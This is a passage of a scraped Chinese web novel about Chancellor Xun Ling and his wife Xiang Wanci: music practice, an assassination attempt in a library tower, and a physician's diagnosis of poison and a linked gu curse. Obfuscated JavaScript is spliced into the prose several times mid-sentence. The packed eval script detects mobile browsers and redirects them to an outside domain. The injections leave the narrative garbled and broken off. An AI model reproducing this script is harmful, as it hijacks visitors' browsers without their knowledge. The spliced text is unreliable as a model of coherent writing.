荀令也没理会她,把旁边的琴拿过来放在膝上,试着拨弄起来。他弹的是一张伏羲式的琴,琴身是桐木所制,音色甚是清亮绵远,但琴音断断续续,不成曲调。 见他在试弹曲谱,向晚词欲言又止。 荀令没抬头,却像是洞察了她的心思,便说:“想说什么直接说。” “胡笳能吹出来的音,琴是弹不出来的。吹胡笳的时候主要靠的是喉音和管音配合,琴是模仿不了这种配合的。” “喉音和管音?” 向晚词解释了一下,这是她娘教她的词。她只从娘那里听说过,没听别人说过。 胡笳是用扎拉特草的草杆制作的,制作相当简单粗糙,把一节合适的草杆掏空后,在上面开三个孔,除此之外什么都没有。不像一般的箫笛,会有专门的吹孔或笛膜来辅助吹出声响。 想要吹响胡笳,就得靠吹奏的人用本身发出的喉音去带动草杆发音,因此吹胡笳的难度与吹箫笛不可同日而语。喉音的发音方式比较特别,很多人都学不会。这样的音,想要用琴模仿出来是做不到的。 听完解释后,荀令若有所思。过了一会儿,他拿起旁边的笔,在纸上写下一段谱。写完后,他把谱递给向晚词,问:“这个能不能吹?” 向晚词接过来认真看着,他也写得一笔好字,不是时下流行的什么字体,如莲花出水,明月开天,雾散金峰,云低玉岭,自成一格。 一看,向晚词就看出这段谱是一首古曲的残谱,他写的只有其中一段,余下的都没有。 她马上说:“这个能弹不能吹。” 她早试过了,不仅用胡笳吹不出来,用箫笛也不行,用琴弹倒是可以。 闻言,荀令把琴往前一推,指了指琴。 向晚词走上前去,把琴放在书案上,坐好,开始弹那首古曲。 琴音响起,乍闻如毫无章法的疾风迅雨,仔细聆听又别有关窍,于密不透风的急鼓繁弦中隐隐透着每况愈下的曲折顿挫,给人一种耿介不平、积郁幽忿的感觉,一点也没有琴曲该有的中正平和。 荀令闭目聆听,手指在书案上轻扣,敲击声与琴音融合,恰到好处。 果然,昨天我没听错,就是郁郁不得志。 向晚词一边弹琴,一边想。 荀令微微皱眉,扣书案的手重了些,发出一声重音。 “专心。” 向晚词吓了一跳,琴音一顿,又继续响起。这回她不敢再分心了,认真弹着。很快,荀令写的那段曲谱就弹完了。向晚词犹豫了一下,还是没有继续弹下面的。 荀令却听出了她琴音中的犹豫,睁眼望向她,目光并不锐利,却能洞彻人心。 “你知晓下面的谱?” 向晚词点头。 “继续。” 向晚词只好接着弹,后面一段谱是她自己整理残谱后再补全的。她爹娘都看过曲谱,说她只补出了两成原曲的意蕴,离原曲本该有的水准还差得远。 荀令听着听着,眉头渐渐皱起。听了一段后,他扣了一下书案,道:“停。” 向晚词马上停手了。 “这是你补的?” “是。” 荀令了然,果然,一个自小就被爹娘护着长大、不知愁滋味的姑娘,是作不出原谱那种感觉的,能弹出那种韵味就不错了。 “把原谱写下来。” 向晚词提笔,很快就把原本的残谱写了出来。 等她写好,荀令把笔接过去,在残谱上开始补曲。他擅弹琴,却不擅作曲,以前也曾尝试过补全这首古曲,都不能补得让他满意。 向晚词擅弹也擅作,但她没有那样的遭遇和心境,作不出和原曲意蕴一致的曲调。 荀令补残曲时,向晚词就在一旁看,不知不觉就靠近了一些。时近黄昏,夕阳照在两人身上,泛出一片霞色,将两人照得璀璨生辉。 荀令涂涂改改,一遍遍推翻重来,太阳都快落山了,他还没补出几句满意的谱。向晚词早就饿了,又不好意思说,只能在那坐着等。荀令一门心思沉浸在曲谱中,没发觉天色渐晚。 等侍卫来掌灯的时候,荀令才惊觉居然已经到了晚上了,他朝向晚词望去。她正规规矩矩在那坐着,见他看来,忙端正坐姿,背挺得笔直,比学堂里最守礼的学生还要端正。 见她如此,荀令眼中掠过一丝笑意,放下笔,道:“回去吃晚膳吧。” 一听这话,向晚词顿时眉开眼笑,轻快地应了一声。 “明日下午再来。” “啊?”向晚词的声音垮了下来。 她看着荀令,小心翼翼地问:“明天,我想回家,可不可以换后天?” 闻言,荀令才想起,明天是归宁的日子。沉默片刻,荀令说:“可以。” 向晚词立刻高兴起来,起身施礼离开。 荀令坐在那里,看着她走远。灯火映照下,她像只自在的燕子,穿梭在夜色中,给沉寂的荀府带来了不属于这里的轻盈悠然。 吴代来找荀令的时候,他仍旧望着远处。 吴代找了个位置坐下来,给自己倒了杯冷茶。等荀令望向他时,他才开口:“事已办妥。” “知道了。” “延之,你还要称病多久?你不在,他们可有些顶不住了。” “不急,再过些日子。” 吴代刚想说些什么,瞥见书案上的曲谱,就拿起来看。看到上面的雁体,还有荀令多次涂改的痕迹,吴代沉默片刻,问:“延之,你今天下午就是跟你那新夫人待在一起的?看这修改的次数,怕是一下午都待在一起吧。” 荀令看了他一眼,没回答,默认了。 这时,吴代又看见了另一页曲谱,上面只有雁体。他又拿起那页来看,不由眼前一亮,拿过旁边的琴来试着弹奏。弹了一会儿,连一段连续的音都弹不出来,他只好停手。 “延之,这是什么乐器的曲谱?” “胡笳。” “胡笳?那向家姑娘会这个?还真是稀奇,吹得怎样?不用说,能让你专门喊来吹奏写谱,肯定是很不错的。” “是不错。” “你也会夸人了,胡乐署的那帮乐师都被你嫌弃了多少回了,难得难得。不对,她一个自小生长在京城的姑娘怎么会这个?” 吴代仔细回忆,没等他想起来,就听见荀令的声音。 “她娘是云门关人,二十四年前来的京城。” “对,对,还是延之你记性好,我看过就给忘了。真是巧,偏偏皇帝给你选的夫人就会胡笳……”说到这里,吴代顿了一下,“不会是专门挑的吧?就因为这姑娘会胡笳,才特地从犄角旮旯里把她挑出来?要投你所好。” “皇帝知道我喜胡笳?” “不太可能,除了我,也没几个人知道你有这爱好。即便知道,专门去找会胡笳的京中适龄女子也不太可能。毕竟会胡笳的人少之又少,天眷国都少有,京城会胡笳的官家小姐我以前都没听闻过,傻子才会专门去找这种人。那就不是专门挑的,是巧合了,可真巧得很。” 说到这里,吴代叹气,说:“延之,你到现在还没有娶妻的念头?真想这么过一辈子? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127954|180139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 荀令不答,不答就是默认。 “过去的事已经过去了,人是要向前看的。” 荀令还是不答,吴代摇头,不再继续这个话题。 “算了算了,吃饭吧,你这一下午肯定都想着曲谱去了,一定还没用膳。” 两人走下小楼,逐渐远去。暮色深沉,小楼与暮色融为一体,再也看不见。 —— 新婚第三日,向晚词很早就醒过来,连早膳都没吃,就赶着最早的开城门时间出城回家去了。 荀令在用早膳的时候,就听到白管事来禀告。 “相爷,向家那边已经派了暗卫去监视,是否要保护向老爷和向夫人?” “若有人出手掳劫他二人,要阻止,若要杀他二人,不必阻止。” “是。” —— 终于回家一趟,向晚词放下心来了。 父亲说魏房牙那里刚好有皇城的宅子要租,皇城司户所那边也答应了给他们更改户帖,让他们搬到皇城里去。堆在隔壁的聘礼,也经由以前的同僚介绍,当给了华国舅开的当铺,给足了价钱。 这些事都有着落,过不了几日,爹娘都能搬到皇城里来。新租的宅子离荀府不远,她就可以时时去了。 事情出乎意料的顺利,回到荀府时,向晚词就很开心。第二天被叫去吹胡笳的时候,吹得更得心应手了。 之后一连数日,向晚词都被荀令叫去吹胡笳。因为荀令准她自由出入,爹娘又搬到了皇城里来,她时常都可以见到爹娘,被叫去吹胡笳的时候她就没了不愿意,让吹什么就吹什么,还作出了不少新曲子。 荀令也很满意,能时常听到符合他心意的胡笳,还能时不时听到新曲子,又能让写曲子的人改曲子,改到完全符合他喜好为止,他自然很满意。 而且吹胡笳的人只是想时常回家,这么一个对他来说无足轻重的要求完全可以满足。 —— 坐在阁楼上听胡笳的时候,荀令不由想,这一桩御赐的婚事其实也不是完全没有好处,至少这段时间以来,他天天都能听到想听的胡笳。 可惜,他不能有这么明显的把柄攥在政敌手中,这样的日子不能长久。 —— 吹完今日份的胡笳后,向晚词照例行礼走人,回到自己住的院子中做自己的事。 这些天来,她已经找到了合适的偷盗物品,就等着找到合适的时机下手,让自己能被人家抓得人赃并获。回房后,她把整个计划复盘了几遍,确定好每一个步骤后,她才去睡觉。 然而这一夜她翻来覆去,满脑子都是计划,根本睡不着。次日起来,整个人都憔悴了几分。 下午在藏书楼四楼写谱时,向晚词一边写着,一边给自己鼓气。她选中了三楼里的东西,准备等下走的时候就悄悄把东西带走。她从未做过这种事,实在很紧张,落笔的时候字都带上了几分颤抖,与往日的飘逸自然大相径庭。 荀令看到了,不由皱眉,刚要开口,却发现她已经停笔了。 味道,奇怪的味道,向晚词闻到了一股十分奇怪的味道。她到藏书楼已经很多次了,往常从没闻到过这种味道,就在刚才这种味道出现了,把正处于十分紧张状态的向晚词都熏醒了。 仔细辨认了一会儿,向晚词抬头朝味道传来的方向看去。那处就是房梁,除此之外什么都没有,可味道就是从那里传来的。 向晚词看了好一会儿,还是没发觉那里有什么不对劲。她干脆拿起桌上的镇纸,朝房梁处扔过去。镇纸还没扔到,房梁处忽然凭空出现一道模糊不清的影子,青烟般朝荀令飘来,瞬间就飘到他面前,一剑刺去。 “小心!”向晚词惊叫,用力推了书案上的琴一下,琴朝影子飞去。 7. 天水步汨泊晚虛 琴飞过去,正好撞到影子身上,影子持剑的手偏了偏,刺向荀令心口的剑歪了半分,没能当场要了荀令的命。荀令被剑刺得跌坐到地上,胸口出现了一个小小的血窟窿。 那个影子出现的时候,七道人影从暗处闪出来,扑向影子,可惜都迟了一步。待到剑刺入荀令胸口,七道人影才赶到近前,隔开荀令跟影子,与那个影子斗到一处。 一时间阁楼上刀光剑影,劲气激荡,打斗声不绝。 影子们扑过来的时候,向晚词就矮身低头,躲在书案下。荀令跌倒后,她悄悄挪到荀令面前,移了移书案,让书案罩住他。这书案是质地坚韧的硬木所制,又有几分厚度,总能抵挡一二。 到了荀令面前,汩汩而流的血就染红了她的衣衫。向晚词有些着慌,手忙脚乱地撕着衣裳,想给他止住血。 荀令面如白纸,神色却异常冷静,见向晚词在撕自己的衣裳,便道:“为何要救我?我死了,你就能回家了。” 向晚词刚撕出两条布条,就听到了荀令的话,手一顿,望向他。见他望着自己,目光静如止水,向晚词呆了片刻。待到血濡湿了她的手,她才回过神来,赶忙又去撕布条。 荀令的声音又响起:“我死了,你就能回家了,你不想早点回家?” 被他接连扰乱心神,向晚词瞪了他一眼,嘟囔了一句:“我没想过要你死啊,都什么时候了,还问这种话。” 瞥到血的颜色,她低呼:“哎呀,血都黑了,有毒!你有解毒丹没有?” 荀令还是望着她,目光静如止水。 向晚词被他看得没办法,只好认认真真地回答:“我是想回家啊,可我没想过要你死啊,从来没有。喂,你到底有没有解毒丹?这可是你自己的命啊。” “有,在袖袋里。” 向晚词马上去翻找,找到了几个瓶子,问:“是哪个?” “白瓶,一颗。” 向晚词倒了一颗让他服下,这会才想起来问:“有没有金疮药?” “蓝瓶。” 向晚词打开蓝瓶,朝伤口上撒药,一撒上去,就被血冲走了。她干脆把金疮药撒在自己的左手上,伸手去堵住伤口,阻止血再流出来。她以前好像听娘说过,要是受伤流血不止,可以轻轻按压伤口止血,也不知道她有没有记错。 伤口很深,却不大,手掌能够堵住。手一堵上去,就摸到了黏稠的血,再加上浓郁的血腥味,向晚词一阵作呕。她干脆不去看,按好伤口,就侧头去看那边的激斗。她什么都看不清,只能隐约看见数道残影斗在一起,分不清是敌是友。 向晚词看得焦急,不由低声问:“看样子人手不够,打不赢,我再叫人?” “别叫,你一叫,刺客第一个来杀你。” 闻言,向晚词又用力拖了拖书案,把自己遮严实一些。她把桌上的东西都拿到桌下来,一手抄起茶杯就往楼下扔。清脆的瓷片碎裂声在庭院中响起,异常清晰。 荀令淡淡地说:“那是庆窑的茶杯。” 向晚词又瞪了他一眼,低声道:“是茶杯重要还是命重要?先声明,我可不赔。庆窑那么贵,我赔不起。” 说完这句话,她又抄起一个茶杯往楼下扔,又是一声脆响。她一连扔了几次,把能扔的东西都扔完了,再无可扔。 刚扔完最后一样,那边有一把短剑朝这边飞来,速度迅快,角度刁钻,从书案的缝隙间射过来,直取荀令的咽喉。 向晚词当即伸出右手去挡,短剑没有刺中荀令,刺到了她手臂上,痛得她身子一抖,闷哼一声。温热的血瞬间流出,落到了荀令的身上。 见她毫不犹豫地伸手去挡,荀令眸光微动,片刻后低声说:“别动,这把也有毒。” 他伸手,想要去拿解毒丹,可惜毒药发作,他四肢无力,动弹不得。 向晚词没听他的,忍着痛把中剑的右手移到他的伤口处,用右手堵住他的伤口,左手在衣衫上擦了擦,拿了解毒丹给自己吃。 伤口处传来阵阵疼痛麻痒,痛得她不住吸气。解毒丹的效果有限,并不能解毒,只能延缓毒药的药力。很快毒药开始发作,她浑身无力,倒在了荀令身上。被她压着,荀令身体一紧,微微吸气,向晚词也一阵疼痛。 她痛得头晕脑胀,不由喃喃:“这毒可真毒。” 头顶上传来一个熟悉的声音:“用来杀我的毒,自然是剧毒。” “你还有心情说这个?” “你不也有心情说这个?” “我有点怕,想分散注意力嘛。” 沉默片刻,头顶上的声音才响起:“别怕,我不会让你死的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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很快,四楼上就搭好了帐篷,荀令和向晚词被抬了进去,放在了柔软的被褥上。打斗声渐渐停息,没多久暗卫首领天一来了。 “主子,人已经拿下,是无影楼的天下第一刺客‘千里不留行’。他服了毒,被卢大夫救下了。” “问出主使,还有毒药的来历。” “是。” 天一退下后,白管事又来了,带着几个伺候的侍从在那听候吩咐。 荀令扫了一眼,见都是男人,就说:“让伺候她的人过来,院子里候着。” “是。”白管事一挥手,就有人下楼去了。很快青露碧荷和几个仆妇过来了,还带了一大箱用品来。 藏书楼里多了许多人,却还是静悄悄的。荀府的规矩严,荀令喜欢清静,下人们平时都不敢高声说话。 —— 向晚词迷迷糊糊地醒来时,就在帐篷里,身边有温热的身体。她吓了一跳,顿时清醒过来,朝旁边望去,就看到了荀令。他面色苍白,嘴唇带着青色,身上血迹斑斑,正靠在软垫上闭目养神。 “你怎么还没有治伤?” 话一出口,向晚词才发现,自己的手还按在他胸口的伤上,伤口被挡住了,自然治不了。 她下意识就想收回手,一动,两人同时吸气。 方才情势紧急,她大半精力都放在了应付突发情况上了,即便感觉到疼痛也不敢多关注。现在没事了,身上伤口的痛顿时全部钻了出来。 她朝疼痛处看去,自己的右手上正插着一柄蓝汪汪的淬毒短剑。看到那柄寒光森森的短剑,向晚词不由自主地抖了一下,马上移开视线不再看。 一只手伸过来,搭在她微微颤抖的指尖上,冰凉的温度传到她指尖,清淡的声音也传来:“别怕,很快就会取出来的。” 向晚词深吸一口气,说:“没事,我不怕,反正已经刺进去了,最糟糕的时候已经过去了。” 一声轻笑传来,那只手轻轻拍了拍她的手,带着无声的安抚。 “让卢大夫进来。” “是。” 很快卢大夫来了,他把早就准备好的麻沸散递给向晚词。向晚词侧身低头,掀开一点帽纱,把药吃了。荀令也吃了麻沸散。 一刻钟后,药力发作,两人都不大感觉到痛了。 卢大夫要先分开两人,荀令指指那柄剑,语声平淡:“先拔剑。” “可是相爷,这位姑娘的手按在您心口的伤上,要是拔剑的时候有闪失,她无意间按到了您的伤口,那可是心口上的伤啊。” 荀令没说话,看了他一眼,卢大夫马上闭嘴,准备拔剑。 听到卢大夫的话,向晚词说:“那先分开吧,拔剑的时候我怕我忍不住了手会抖的。” 闻言,卢大夫站在那里,一时不知道该先干嘛。 你们两人能不能商量好了再来跟老夫说? 荀令朝向晚词望去,她也看过来。两人隔着帽纱对望,谁都没说话。 过了好一会儿,向晚词问:“要不,猜拳?” “可以。” 卢大夫神色复杂,看着向来喜怒不形于色的丞相跟那姑娘在那猜拳,都快要误以为自己是做梦没醒了,不然怎会看见这么荒谬的一幕? “哎呀,输了,差一点就赢了。”向晚词放下手,有些可惜地说道。 卢大夫摇了摇头,回回神,上前来准备给向晚词拔剑。 向晚词侧过头去,不敢看拔剑的过程。侧过头去后,她嘴里不住念,不疼不疼不疼,有麻沸散麻沸散麻沸散…… 卢大夫想笑,竭力忍住了,把注意力都集中到剑上。 一只手伸过来,握住了她有些僵硬冰凉的左手。向晚词一呆,回过头去,荀令正望着她,目光甚是温和,隐隐带着鼓励和抚慰。不知为什么,向晚词顿时就放松了下来,手也没那么僵硬了。 卢大夫观察了一会儿,脸色有些凝重。 “相爷,这剑中似乎有机关,如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127956|180139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接往外拔的话,剑锋上可能会有倒刺弹出。” “要如何处理?” “保险起见,得切开伤口,再把剑取出来。” 听到这话,向晚词抖了一下,握着她的手轻轻捏了捏她。 “伤口有多深?需要切开多宽?会不会有后遗症?愈合后能不能不留疤痕?” “不深,不到半指深,要剖开一指宽。老夫尽力而为,有六成把握不留后遗症。至于疤痕,老夫能配置祛疤药膏,能不能祛除,得看这位姑娘自己的身体状况,老夫不能保证。必须快点取出剑,不然毒一直留在伤口里,老夫也无法完全祛毒。” 荀令看着向晚词。 向晚词犹豫了一下,点头。 荀令看向卢大夫,道:“马上取剑。” 此言一出,向晚词立刻闭上眼睛,手不自觉收紧。握着她的那只手也紧了紧,两人交握的手再没一丝缝隙,彼此的温度传递到对方那里。 感觉到握着的手汗湿一片,荀令开口了:“有没有听过遮莫遮莫毗卢?” “我只听过遮莫、毗卢遮那,遮莫遮莫毗卢是什么?” “你觉得是什么意思?” “我不知道,我不太懂佛经。” “你不是给人家抄了很多经?” “是啊,可抄是抄,懂是懂,抄了不一定懂。庙里的和尚天天念经,也没几个敢说自己懂了。” “这个很好懂。” “那是什么?” “就是……” 荀令放低了声音,向晚词不由睁眼,凑过去一点,想要听清他说的话。 等她凑过来,荀令才低声开口:“我随口编的。” “啊?”向晚词怀疑自己听错了。 荀令不急不慢,又重复了一遍:“我随口编的。” 向晚词看着他,一时间不知道该说什么。 荀令轻轻握了握她的手,朝那边扬扬下巴。向晚词侧头望去,不由啊了一声。 9. 天氷步泊汨晚虚 这会儿功夫,卢大夫已经用刀划开了伤口,把那柄短剑取下来了。取下短剑后,卢大夫就开始处理伤口上的毒。他年纪很大,手脚却很灵便,没多久就处理好了。只是他的脸色很凝重,一点也不轻松。 “相爷,老夫要先去验一验这毒,恐怕没那么简单。等验出来了,老夫再来给你处理伤口。” 荀令神色不变,道:“你去吧。” 卢大夫带着短剑离开了。 向晚词看了看荀令的胸口,那里被她按住了,已经不再出血了,但毒也出不来了。想起方才险之又险的刺杀,她叹了口气,这就是权臣的待遇吗。 叹气过后,向晚词看向荀令,很认真地说:“谢谢。” 荀令望着她,淡声道:“你救了我的命,还对我说谢谢。” “一码归一码,我救了你,你该对我说谢谢。刚刚你帮了我,我该对你说谢谢。” “只要谢就够了?” 闻言,向晚词愣了一下,低头仔细思索这话的意思。 没等她想出来,就听见荀令说:“你不想要休书?” 向晚词一惊,抬头望他。他正望着自己,目光平静。她张了张嘴,想说什么,还是没说出口。 “不用休书,过段时间,等你伤好了,我给你和离书。府里的嫁妆,我会让人换成银票给你。让你父亲以回乡给父母守陵尽孝的名义辞官,离开京城,以后都不要再回来。广城有位叶神医,医术很了得,我写封信给你,你拿去找他,他会给你娘看病。” 向晚词没说话,只是望着荀令。许久后,她才轻声问:“御赐的婚事能和离吗?” “我自会处理。” “谢谢。” “方才多谢你。” “哦。” “不谦虚两句?” “那,不用谢?” 见她这么答,荀令淡淡一笑,没再继续说下去。 见他笑了,向晚词有些惊讶,说:“原来你也会笑啊。” “我是人,自然会笑。” “你以前很严肃啊。” “你心里先入为主,看到我的时候自然就会如此认为。” “我没先入为主,我第一次见到你的时候,你就是很严肃啊。” 荀令仔细回忆,两人第一次见面,就是在藏书楼,那时候他是什么表情? 荀令想了一会儿,想不起来了,就问:“我那时候什么表情?” “不知道,我只听到你的声音。你让我出去拜见陛下,可那时候按照礼仪我不该自己走出去的,你还让我自己走出去。那时候我就在想,你是不是故意的,好借机找我的麻烦。” 听她这么说,荀令失笑,说:“皇帝大于一切规矩,那时候他来了,先拜见他才合规矩。你在轿中坐着不下来,如果他想,就可以借口你对他不敬,治你不敬天子之罪。” 听到这话,向晚词叹了口气,幽幽地说:“是啊,皇帝大于天,所以他要给谁赐婚就给谁赐婚。” “这话不要当着别人的面讲,也是对天子不敬之罪。” “我知道,心里怎么想不重要,重要的是面上不能表现出来,所以当官的首先要学的就是表里不一。” “这话你听谁说的?” “爹的朋友,劝爹多点变通的时候说的。他还要我劝爹,也跟我说了很多。我不能劝爹,也不能甩手不听,只好听了一耳朵这种话。” “那人能跟你父亲说这些话,也算是真朋友了。” “是啊,所以我只能听他反复说。” “不想劝你父亲?” “爹有他自己的选择啊,坚持自己的原则也挺好的。爹说他没什么本事,就只有点骨气,有所为有所不为。如果骨气都没了,他也就不配为人了。” “他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127957|180139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坚持骨气了,代价是让你替他赚钱养家。” “我也是家里的一员啊,本来就该跟着赚钱养家的。其实爹的俸禄够我们一家人日常用度的,只是娘一直都要吃药,才缺了许多。” “你母亲是什么病?” “是产后气血两亏,操心过度留下的病根。我听隔壁的婶娘说,我小时候太爱哭了,整日整夜都在哭,爹娘为了带我费了不少心,才害娘留下病根了,总也治不好。” “放心,叶神医连只剩一口气的人都能治好,一定能治好你母亲的。” 向晚词刚要接言,卢大夫从外面急匆匆进来,她便住了嘴。 卢大夫神色凝重,手里端着一个盛了水的碗,走到荀令面前,道:“相爷,请你滴一滴血到碗里来。” 荀令滴了些血进去。 “姑娘,请你也滴一滴进来。” 向晚词有些懵,问:“怎么像是在滴血认亲?我跟丞相大人没关系啊。” 她一边说,一边往碗里滴血。 血滴进去,与荀令的血融为一体。向晚词睁大眼睛,吃惊地看着碗。 卢大夫长叹一声,道:“果然。相爷,除了剑上淬剧毒,那个杀手还在他的剑内藏了蛊,血肉相连蛊。那是南川之地的阴毒咒杀手段。把子蛊藏在剑中,刺中某人,蛊虫就会经由伤口进入那人体内。再把母蛊藏在另一把剑中刺中另一人,母蛊就会进入那人体内。两人便会血肉相连,生死与共。” “那个杀手是打着刺杀不成,就用以命换命的方法咒杀相爷的主意。先前刺中你的剑里藏了子蛊,那柄短剑里藏了母蛊。所以你和这位姑娘现在性命相连,连血都会相融了。” “那他为什么不用短剑扎自己,反而扔过来?他要是扎了自己,不管是要杀丞相大人,还是要保命都可以了。”向晚词不解地问。 “要如何解?”荀令波澜不惊地问。 10. 天水歩泊汨晚虚 卢大夫又叹了一声,说:“这蛊很难缠,老夫没把握能解开,只能尽力一试。即便能解,也不是一时半会能解开的。那个杀手一开始还存着能全身而退的念头,还不想轻易死,就没刺自己。后面他想同归于尽了,又被相爷的手下阻止了。他们要抓活的,自然不准他刺死自己。” 听到这话,向晚词问:“那具体要怎么解呢?到底需要多久?” “得利用子母蛊之间的相互感应,让两只蛊虫离开你二人的身体,到外面来团聚。具体点,就是你们两个尽量多接触,距离越近、接触越多,子母蛊才能多感应,才有可能出来,这是子母蛊的特性。时间要多久老夫可说不准,得看你们什么时候才能把子母蛊引出来。” “这是什么办法?不能想办法直接从伤口处把蛊虫引出来吗?” 卢大夫捻须微笑,道:“姑娘要是有这能耐,尽管尝试。要是能成功,老夫还要向你请教。” “我不知道要用什么办法。” “那就听大夫的。” “好吧。” 荀令没说话,等二人说完,才道:“除了蛊,还有什么?” 卢大夫道:“还有一种叫‘藕断丝连’的剧毒,毒性特别强,还会藕断丝连,需要多次解毒,才能彻底祛除余毒。这位姑娘的手之所以会粘在相爷的伤口上,也是受那毒的影响。老夫已经让人去熬药了,等药来了,你二人喝了,药力发作后,才能撕开粘黏处。” 向晚词叹气,事已至此,也只能接受现实了。 没多久,药来了,是苦过黄连的药,喝得向晚词直犯恶心。一刻钟后,药力发作,卢大夫马上动手。分开两人的粘黏处后,他立刻给荀令治伤。 荀令的伤口很深,离心脏就差一点点。卢大夫处理伤口的时候连连叹气。 “这要再深一点就神仙难救了,多亏相爷的护卫拦截及时,不然老夫也无能为力。” 荀令朝向晚词看去,她正坐在一旁,看卢大夫处理伤口,没有避开。多亏的不是护卫,是她,要不是她发现了那个刺客,之后又几次阻拦,谁都救不了他。 想到这,荀令问:“为什么会发现杀手的藏身处?” 向晚词抬头望向他,说:“我闻到了奇怪的味道,就是在他躲着的那里,之前我来藏书楼都没闻到过。他可真会躲,我看了又看,都没发现那里藏着人。要不是有那奇怪的味道,我也发现不了他。那是什么味道?杀手出任务,应该不会搞些奇怪的味道在身上引人注意吧?” 卢大夫接言道:“是血肉相连蛊的气味。这种蛊虫会散发特殊的气味,绝大多数人都闻不到,哪怕是嗅觉异常敏锐的人都闻不到,没想到你能闻到,真是少见。好了,相爷,伤口老夫已经处理好了,近些日子不要太操劳,至少要静养半月才能走动。藕断丝连的毒,老夫会继续配药给你们祛毒的。” “至于血肉相连蛊,老夫稍后会配些引诱蛊虫的药让人送过来,随身携带就好。但还是要靠你二人,尽量长时间靠近接触,让两只蛊虫能感觉到彼此。记住,你二人不能离太远,离得越远,子母蛊之间的感应越低,越不可能被引出体外。要是时间久了,蛊虫就彻底在你们体内扎根,再也出不来了。” 听到他的话,向晚词吸了一口气,问:“近是指多近?远是指多远?长时间又是多长?” 卢大夫抬手,比了一掌宽,说:“这是近。三丈,是远。长时间,就是从睁眼到闭眼的时间,也就是整天,知道了吗?” 看到他比的手势,向晚词已经无话可说了。她又吸了一口气,安慰自己,还好,远虽然不太远,但也还有一段距离,总比没有好。 比完之后,卢大夫就收拾东西走人了。他这一天忙着救人也挺累的,老人家年纪大了要多休息。 卢大夫走了后,帐篷里就只剩两人了。天色将晚,两人浑身血淋淋的,看起来很是狼狈。 荀令看了看有些坐立不安的向晚词,说:“藏书楼旁的洞天院很安静,先在那里住些时日,等蛊取出来后再搬回去?” 向晚词点头,事已至此,她只有点头。 “来人。” 在外侍候的白管事马上进来,荀令吩咐了几句,白管事就领命而去了。 “先去沐浴更衣,之后再用晚膳,让你的丫鬟伺候你,别弄湿伤口。” “我自己可以的,还有一只手,不用她们伺候。” “让她们闭眼就是,谁敢偷看,把眼睛挖出来。” “啊?不至于,我自己就行了,我不习惯有人在旁边。” “随你。” 很快,洞天院就被收拾出来了。有人来抬了荀令过去,向晚词腿脚没受伤,就自己走过去了。洞天院里的主院有两个相邻的房间,每个房间都不大,刚好能满足卢大夫说的最远距离的限制,向晚词和荀令一人去了一间。 到了房中,丫鬟婆子们早就准备好了沐浴的一应物什。向晚词进来后,她们都退了出去。方才白管事已经交代过她们,不许去看夫人的脸,谁要是看到了,就要把眼睛挖出来。因此她们都忙不迭退出去,生怕走得慢了看到不该看的。 荀府对下人向来很严,定好的规矩绝对不能犯,否则一定会被惩罚。反之,只要不触犯定好的规矩,也不会有谁来磋磨下人。丫鬟婆子们虽然来荀府不久,却也知道这些,谁都不敢真拿自己的眼睛去开玩笑。 等人都出去后,向晚词锁好门,费力地洗了个澡,换上了干净衣服。头发实在没法单手梳起来,就拢在一处,等它自己干。把自己遮严实后,向晚词出了房间。 见她出来了,青露上前来施礼道:“夫人,相爷请您过去用膳。” 向晚词纠结了一瞬,就说:“我知道了。” 到了荀令的房中,晚膳已经摆好了,分成两桌,中间用屏风隔开了,一边看不到另一边。房间里除了荀令也没别人。卢大夫配的引诱蛊虫的药已经送来,做成了香囊放在了桌旁,上面放了张纸,写了佩戴的注意事项。 见他那没人伺候,向晚词问:“不用人伺候吗?” 荀令放下书,看了她的右手一眼,说:“这话该我问你。” “我还有左手。” “我有两只手。” “那好吧,当我没问。” “吃饭吧。” “哦。” 向晚词坐到屏风的一边,把香囊戴上,开始用左手吃饭。麻沸散的效力逐渐退去,右手持续传来疼痛,让她饭都不怎么吃得下去。 听到旁边的动筷声断断续续,荀令问:“很疼?” “还好。” “止疼药多吃无益, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 